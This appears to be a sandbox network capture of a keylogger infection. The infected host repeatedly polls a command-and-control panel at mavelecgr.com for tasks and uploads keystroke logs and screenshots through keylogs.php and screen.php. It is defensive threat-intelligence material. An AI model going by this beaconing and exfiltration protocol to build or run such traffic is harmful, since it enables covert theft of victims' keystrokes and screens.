Feb 21, 2023 07:08:52.927959919 CET	10053	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:52 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:53.057118893 CET	10053	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:53.102737904 CET	10054	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:53 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:53.204319954 CET	10054	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:53.249752045 CET	10054	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:53 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:53.351331949 CET	10054	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:53.396589041 CET	10055	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:53 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:53.509670973 CET	10055	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:53.555130959 CET	10055	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:53 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:53.666002035 CET	10055	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:53.711519957 CET	10055	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:53 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:53.832094908 CET	10055	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:53.878030062 CET	10056	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:53 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:53.916045904 CET	10056	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e6d3f8734b Host: mavelecgr.com Content-Length: 256 Expect: 100-continue
Feb 21, 2023 07:08:53.959352970 CET	10056	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:54.088510036 CET	10057	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:54 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:54.354676962 CET	10057	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:54.400500059 CET	10057	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:54 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:54.551820993 CET	10057	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:54.597450018 CET	10058	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:54 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:54.751418114 CET	10058	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:54.797404051 CET	10058	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:54 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:55.265211105 CET	10058	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:55.315210104 CET	10058	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:55 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:55.537022114 CET	10059	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:55.583003044 CET	10059	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:55 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:57.486974955 CET	10059	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e73bfc2d2f Host: mavelecgr.com Content-Length: 51327 Expect: 100-continue
Feb 21, 2023 07:08:57.530293941 CET	10059	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:57.620651007 CET	10111	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:57 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:57.635308981 CET	10112	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e747ce6100 Host: mavelecgr.com Content-Length: 245 Expect: 100-continue
Feb 21, 2023 07:08:57.678533077 CET	10112	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:57.809947968 CET	10112	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:57 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:57.923500061 CET	10113	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:57.969582081 CET	10113	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:57 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:58.086344957 CET	10113	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:58.132359028 CET	10113	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:58 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:58.244497061 CET	10113	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:58.289763927 CET	10114	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:58 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:59.716686964 CET	10114	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e774e814a5 Host: mavelecgr.com Content-Length: 52474 Expect: 100-continue
Feb 21, 2023 07:08:59.759797096 CET	10114	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:59.851361036 CET	10167	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:59 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:59.875076056 CET	10167	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e77994d39b Host: mavelecgr.com Content-Length: 284 Expect: 100-continue
Feb 21, 2023 07:08:59.918255091 CET	10167	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:00.046922922 CET	10168	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:00 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:00.166935921 CET	10168	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:00.212307930 CET	10168	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:00 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:00.323079109 CET	10168	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:00.368068933 CET	10169	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:00 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:00.482764959 CET	10169	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:00.527683020 CET	10169	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:00 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:00.715651035 CET	10169	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:00.760726929 CET	10169	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:00 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:00.871722937 CET	10170	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:00.916706085 CET	10170	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:00 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:01.020253897 CET	10170	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:01.065210104 CET	10170	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:01 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:01.399528980 CET	10170	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:01.445029020 CET	10171	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:01 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:01.558547974 CET	10171	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:01.603626966 CET	10171	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:01 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:01.798084974 CET	10171	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:01.843267918 CET	10171	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:01 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:01.980324030 CET	10172	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:02.025387049 CET	10172	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:01 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:02.136903048 CET	10172	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:02.183095932 CET	10172	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:02 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:02.296686888 CET	10172	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:02.342983007 CET	10173	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:02 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:03.442332029 CET	10173	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e7b74e1e9c Host: mavelecgr.com Content-Length: 51155 Expect: 100-continue
Feb 21, 2023 07:09:03.485913992 CET	10173	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:03.576527119 CET	10225	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:03 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:03.601948023 CET	10225	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e7b76d1bf7 Host: mavelecgr.com Content-Length: 241 Expect: 100-continue
Feb 21, 2023 07:09:03.645248890 CET	10225	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:03.774315119 CET	10226	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:03 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:03.890240908 CET	10226	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:03.936711073 CET	10226	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:03 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:03.950222969 CET	10227	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e7b79a6ab2 Host: mavelecgr.com Content-Length: 256 Expect: 100-continue
Feb 21, 2023 07:09:03.993881941 CET	10227	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:04.125998020 CET	10227	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:04 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:04.233536005 CET	10228	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:04.279098988 CET	10228	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:04 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:04.388020039 CET	10228	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:04.433717966 CET	10228	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:04 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:04.546854019 CET	10228	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:04.591902018 CET	10229	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:04 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:04.700517893 CET	10229	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:04.746258020 CET	10229	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:04 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:04.889971018 CET	10229	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:04.936429024 CET	10230	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:04 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:05.037980080 CET	10230	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:05.083554029 CET	10230	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:05 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:05.191978931 CET	10230	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:05.237082005 CET	10230	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:05 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:05.339013100 CET	10231	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:05.384221077 CET	10231	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:05 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:05.493472099 CET	10231	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:05.538458109 CET	10231	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:05 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:05.653762102 CET	10231	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:05.698941946 CET	10232	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:05 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:05.810298920 CET	10232	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:05.855283022 CET	10232	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:05 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:05.966633081 CET	10232	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:06.012444973 CET	10232	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:05 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:06.174099922 CET	10233	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:06.219209909 CET	10233	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:06 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:06.618664026 CET	10233	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e7b936b788 Host: mavelecgr.com Content-Length: 51155 Expect: 100-continue
Feb 21, 2023 07:09:06.661926031 CET	10233	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:06.750955105 CET	10285	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:06 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:06.767942905 CET	10285	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e7b94e8eee Host: mavelecgr.com Content-Length: 284 Expect: 100-continue
Feb 21, 2023 07:09:06.811166048 CET	10285	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:06.965065002 CET	10286	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:06 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:07.283968925 CET	10286	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:07.329427004 CET	10287	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:07 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:07.441514969 CET	10287	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:07.486613989 CET	10287	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:07 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:08.237737894 CET	10287	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:08.283315897 CET	10287	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:08 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:08.848455906 CET	10288	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:08.893802881 CET	10288	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:08 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:09.073615074 CET	10288	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:09.119651079 CET	10288	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:09 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
